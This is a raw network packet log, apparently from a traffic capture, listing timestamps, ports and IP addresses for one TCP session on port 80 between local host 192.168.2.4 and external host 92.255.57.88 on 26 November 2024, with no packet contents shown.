Nov 26, 2024 00:07:42.804812908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.804884911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.804915905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.804955006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.805794954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.805840969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.805932999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.805979967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.806786060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.806834936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.806873083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.806919098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.807677984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.807725906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.807790041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.807836056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.808681011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.808727026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.808801889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.808847904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.809590101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.809636116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.809678078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.809725046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.810519934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.810565948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.810636997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.810683012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.811455011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.811501980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.811574936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.811618090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.812434912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.812482119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.812544107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.812588930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.813374996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.813422918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.813426971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.813468933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.814444065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.814517975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.814605951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.814656973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.815442085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.815462112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.815489054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.815505028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.816319942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.816365957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.816382885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.816427946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.817178965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.817226887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.817293882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.817339897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.818124056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.818169117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.818212986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.818262100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.819288969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.819335938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.819431067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.819475889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.820065022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.820110083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.820120096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.820161104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.821110964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.821157932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.821188927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.821235895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.821909904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.821965933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.822004080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.822050095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.822875977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.822922945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.823035955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.823081970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.823817968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.823868036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.823909044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.823956013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.824754000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.824805021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.910065889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.910152912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.910183907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.910233974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.910545111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.910562038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.910602093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.911535025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.911595106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.911715984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.911766052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.912465096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.912516117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.912554026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.912606955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.913428068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.913477898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.913520098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.913566113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.914360046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.914410114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.914537907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.914587021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.915293932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.915342093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.915370941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.915414095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.992067099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.992151976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.992227077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.992271900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.992398977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.992460966 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.992583990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.992638111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.992841005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.992892981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.993484974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.993541956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.993581057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.993622065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.994329929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.994381905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.994421005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.994469881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.995203972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.995270014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.995307922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.995361090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.996059895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.996110916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.996200085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.996252060 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.996998072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.997049093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.997072935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.997112989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.997832060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.997903109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.997909069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.997946024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.998692989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.998738050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.998783112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.998828888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.999538898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.999593973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.999631882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.999680042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.000430107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.000483036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.000538111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.000581026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.001365900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.001416922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.001477003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.001526117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.002257109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.002269030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.002310991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.003092051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.003146887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.003185987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.003236055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.004010916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.004036903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.004061937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.004077911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.004770041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.004821062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.004918098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.004965067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.005659103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.005708933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.005789042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.005841017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.006526947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.006577969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.006637096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.006690025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.007407904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.007469893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.007509947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.007559061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.008423090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.008476019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.008507013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.008552074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.009135008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.009186983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.009237051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.009284973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.010026932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.010078907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.010117054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.010164976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.010929108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.010977030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.011022091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.011063099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.011785984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.011837006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.011895895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.011957884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.012698889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.012754917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.012778044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.012821913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.013537884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.013598919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.013694048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.013745070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.014421940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.014477968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.014493942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.014539957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.015263081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.015319109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.015321970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.015377045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.016132116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.016185045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.016226053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.016271114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.016989946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.017040968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.017092943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.017138958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.017862082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.017914057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.017968893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.018017054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.018758059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.018810034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.018965006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.019016981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.019659996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.019707918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.019855976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.019908905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.020478964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.020529985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.020586014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.020632029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.021466970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.021485090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.021516085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.021527052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.022259951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.022311926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.022376060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.022423029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.023154020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.023200035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.023216009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.023262978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.023982048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.024033070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.024095058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.024142027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.024851084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.024899006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.024966002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.025016069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.025684118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.025736094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.069031000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.189182043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.528493881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.528599024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.528680086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.528764963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.528764963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.528795958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.528841019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.529577971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.529628992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.529680967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.529728889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.530452967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.530503035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.530541897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.530587912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.531311035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.531364918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.531405926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.531454086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.532186031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.532233953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.532303095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.532349110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.533174992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.533186913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.533233881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.533960104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.534010887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.534049988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.534099102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.534804106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.534852982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.534905910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.534953117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.535691977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.535737991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.535804033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.535851002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.536534071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.536581993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.536643982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.536693096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.537393093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.537442923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.537489891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.537537098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.538279057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.538326979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.538391113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.538439989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.539128065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.539180040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.539233923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.539282084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.540010929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.540064096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.540110111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.540157080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.540885925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.540937901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.540968895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.541017056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.541764975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.541814089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.541898012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.541944981 CET	49753	80	192.168.2.4	92.255.57.88
